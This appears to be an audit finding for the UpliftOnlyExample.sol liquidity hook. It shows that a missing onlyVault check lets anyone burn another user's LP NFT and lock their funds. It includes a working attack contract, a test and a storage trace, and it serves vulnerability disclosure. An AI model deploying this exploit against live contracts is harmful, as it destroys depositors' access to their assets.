Summary
One of the BaseHook functions in UpliftOnlyExample.sol is missing the recommended authorization modifier. As a result anyone can burn other people's LPNFT tokens. Without the NFT and the related FeeData, the underlying assets are effectively locked in the Vault and liquidity cannot be removed.
Vulnerability Details
The onAfterRemoveLiquidity hook is intended to be a callback function for the Vault to use. However the only modifier included is onlySelfRouter which simply verifies the first parameter passed to the function (router == address(this)) so is not relevant here:
function onAfterRemoveLiquidity(
address router,
address pool,
RemoveLiquidityKind,
uint256 bptAmountIn,
uint256[] memory,
uint256[] memory amountsOutRaw,
uint256[] memory,
bytes memory userData
) public override onlySelfRouter(router) returns (bool, uint256[] memory hookAdjustedAmountsOutRaw) {
Source UpliftOnlyExample.sol#L431-L440
The function's inherited docs includes the following dev comment:
Hook contracts should use the `onlyVault` modifier to guarantee this is only called by the Vault.
Source IHooks.sol#L177-L178
onlyVault requires msg.sender == _vault as the name suggests.
Source VaultGuard.sol#L16-L25
Manual review (and the POC below) confirms the vault check is not performed elsewhere when calling this function.
Impact
onAfterRemoveLiquidity is responsible for distributing fees and cleaning up state. We will ignore fees for simplicity (and fees are 0 in the POC). The state changes of interest here are:
FeeData[] storage feeDataArray = poolsFeeData[pool][userAddress];
...
lpNFT.burn(feeDataArray[i].tokenID);
delete feeDataArray[i];
feeDataArray.pop();
Source UpliftOnlyExample.sol#L499-L502
Once that data has been deleted, future attempts to remove the impacted liquidity will revert.
POC
Add the following "Attack" contract and test function to UpliftOnlyExample.t.sol:
@@ -39,6 +39,46 @@ import { Ownable } from "@openzeppelin/contracts/access/Ownable.sol";
import { UpliftOnlyExample } from "../../contracts/hooks-quantamm/UpliftOnlyExample.sol";
import { LPNFT } from "../../contracts/hooks-quantamm/LPNFT.sol";
+
+contract Attack {
+ using ArrayHelpers for *;
+
+ IVault s_vault;
+ UpliftOnlyExample s_upliftOnlyRouter;
+ address s_pool;
+ address s_victim;
+
+ constructor(IVault vault, UpliftOnlyExample upliftOnlyRouter, address pool, address victim) {
+ s_vault = vault;
+ s_upliftOnlyRouter = upliftOnlyRouter;
+ s_pool = pool;
+ s_victim = victim; // "bob" in the test
+ }
+
+ function attack() external {
+ s_vault.unlock(
+ abi.encodeCall(
+ Attack.vaultUnlockHook, ()
+ )
+ );
+ }
+
+ function vaultUnlockHook() external {
+ uint256 bptAmount = 2e21; // Same as was used for the addLiquidity call
+ uint256[] memory minAmountsOut = [uint256(0), uint256(0)].toMemoryArray();
+
+ s_upliftOnlyRouter.onAfterRemoveLiquidity(
+ address(s_upliftOnlyRouter),
+ s_pool,
+ RemoveLiquidityKind.PROPORTIONAL,
+ bptAmount,
+ minAmountsOut,
+ minAmountsOut,
+ minAmountsOut,
+ abi.encodePacked(s_victim)
+ );
+ }
+}
contract UpliftOnlyExampleTest is BaseVaultTest {
using CastingHelpers for address[];
@@ -792,6 +832,29 @@ contract UpliftOnlyExampleTest is BaseVaultTest {
vm.stopPrank();
}
+ function testOnAfterRemoveLiquidityFromRando() public {
+ // Add liquidity so bob has BPT to remove liquidity.
+ uint256[] memory maxAmountsIn = [dai.balanceOf(bob), usdc.balanceOf(bob)].toMemoryArray();
+ vm.prank(bob);
+ upliftOnlyRouter.addLiquidityProportional(pool, maxAmountsIn, bptAmount, false, bytes(""));
+
+ // Anyone can initiate the attack.
+ address rando = vm.addr(69);
+ vm.startPrank(rando);
+
+ // A contract is required in order to unlock the Vault first.
+ Attack attack = new Attack(vault, upliftOnlyRouter, pool, bob);
+ attack.attack();
+
+ vm.stopPrank();
+
+ // Now Bob is unable to withdraw his liquidity.
+ vm.startPrank(bob);
+ uint256[] memory minAmountsOut = [uint256(0), uint256(0)].toMemoryArray();
+ vm.expectRevert(abi.encodeWithSelector(UpliftOnlyExample.WithdrawalByNonOwner.selector, bob, pool, bptAmount));
+ upliftOnlyRouter.removeLiquidityProportional(bptAmount, minAmountsOut, false, pool);
+ }
+
function testOnAfterRemoveLiquidityFromExternalRouterWithRandomExternal() public {
// Add liquidity so bob has BPT to remove liquidity.
uint256[] memory maxAmountsIn = [dai.balanceOf(bob), usdc.balanceOf(bob)].toMemoryArray();
Source UpliftExample.t.sol
In this POC:
Bob deposits DAI and USDC.
A random attacker then burns Bob's NFT and deposit details.
Now Bob is unable to withdraw his funds.
Note that calling onAfterRemoveLiquidity directly reverts on the _vault.addLiquidity line with VaultIsNotUnlocked. As the POC shows, any contract can unlock the vault and then leverage the callback hook in order to perform the attack.
Looking at the event and storage logs, we can verify the burn and delete:
├─ [118473] Attack::attack()
│ ├─ [117266] vault::unlock(0x7f5a7c7b)
│ │ ├─ [114706] Attack::hook()
│ │ │ ├─ [111562] upliftOnlyRouter::onAfterRemoveLiquidity(upliftOnlyRouter: [0xF2E246BB76DF876Cef8b38ae84130F4F55De395b], pool: [0xDB25A7b768311dE128BBDa7B8426c3f9C74f3240], 0, 2000000000000000000000 [2e21], [0, 0], [0, 0], [0, 0], 0x1d96f2f6bef1202e4ce1ff6dad0c2cb002861d3e)
│ │ │ │ ├─ [5912] LPNFT::burn(1)
│ │ │ │ │ ├─ emit Transfer(from: bob: [0x1D96F2f6BeF1202E4Ce1Ff6Dad0c2CB002861d3e], to: 0x0000000000000000000000000000000000000000, tokenId: 1)
│ │ │ │ │ ├─ storage changes: ; burn NFT
│ │ │ │ │ │ @ 0x15c4fbd8bab530f4f95519ad930ceb91bb9186b396b1ab79c8c0e2ffb361362d: 1 → 0 ; from.balance 1->0
│ │ │ │ │ │ @ 0xe90b7bceb6e7df5418fb78d8ee546e97c83a08bbccc01a0644d599ccd2a7c2e0: 0x0000000000000000000000001d96f2f6bef1202e4ce1ff6dad0c2cb002861d3e → 0 ; owners[tokenId] bob->0
│ │ │ │ ├─ [54832] vault::addLiquidity(AddLiquidityParams({ pool: 0xDB25A7b768311dE128BBDa7B8426c3f9C74f3240, to: 0x3381cD18e2Fb4dB236BF0525938AB6E43Db0440f, maxAmountsIn: [0, 0], minBptAmountOut: 0, kind: 3, userData: 0x }))
│ │ │ │ │ ├─ emit Transfer(pool: pool: [0xDB25A7b768311dE128BBDa7B8426c3f9C74f3240], from: 0x0000000000000000000000000000000000000000, to: Attack: [0x3381cD18e2Fb4dB236BF0525938AB6E43Db0440f], value: 0)
│ │ │ │ │ ├─ [2415] pool::emitTransfer(0x0000000000000000000000000000000000000000, Attack: [0x3381cD18e2Fb4dB236BF0525938AB6E43Db0440f], 0)
│ │ │ │ │ │ ├─ emit Transfer(from: 0x0000000000000000000000000000000000000000, to: Attack: [0x3381cD18e2Fb4dB236BF0525938AB6E43Db0440f], value: 0)
│ │ │ │ │ ├─ emit LiquidityAdded(pool: pool: [0xDB25A7b768311dE128BBDa7B8426c3f9C74f3240], liquidityProvider: Attack: [0x3381cD18e2Fb4dB236BF0525938AB6E43Db0440f], kind: 3, totalSupply: 4000000000000000000000 [4e21], amountsAddedRaw: [0, 0], swapFeeAmountsRaw: [0, 0])
│ │ │ │ ├─ storage changes:
; delete feeDataArray[i]; (4 slots)
; feeDataArray.pop(); (1 slot for length)
│ │ │ │ │ @ 0xd32340aac090b90be6c0362e0f3e17d224857bfd52d1524a7862e1e302a3a0b5: 0x00000000000000000000000000000000000000000000006c6b935b8bbd400000 → 0 ; FeeData.amount
│ │ │ │ │ @ 0xbf7dee144ed135cba51b32042474f3ae33ac6719e7b2ce5da0389d55824f3df2: 1 → 0 ; feeDataArray.length
│ │ │ │ │ @ 0xd32340aac090b90be6c0362e0f3e17d224857bfd52d1524a7862e1e302a3a0b4: 1 → 0 ; FeeData.tokenId
│ │ │ │ │ @ 0xd32340aac090b90be6c0362e0f3e17d224857bfd52d1524a7862e1e302a3a0b7: 0x0000000000000000000000000000000000000000000000000000c800644f0100 → 0 ; FeeData.blockTimestampDeposit and upliftFeeBps (0 here)
│ │ │ │ │ @ 0xe90b7bceb6e7df5418fb78d8ee546e97c83a08bbccc01a0644d599ccd2a7c2e0: 0x0000000000000000000000001d96f2f6bef1202e4ce1ff6dad0c2cb002861d3e → 0 ; bob->0
│ │ │ │ │ @ 0xd32340aac090b90be6c0362e0f3e17d224857bfd52d1524a7862e1e302a3a0b6: 0x00000000000000000000000000000000000000000000000006f05b59d3b20000 → 0 ; FeeData.lpTokenDepositValue
And when comparing to the logs for a normal call to removeLiquidityProportional, we are missing state changes in the Vault contract as well as DAI and USDC token transfers to Bob that would normally occur for a removal.
Recommendation
Add the onlyVault modifier:
) public override onlyVault onlySelfRouter(router) returns (...
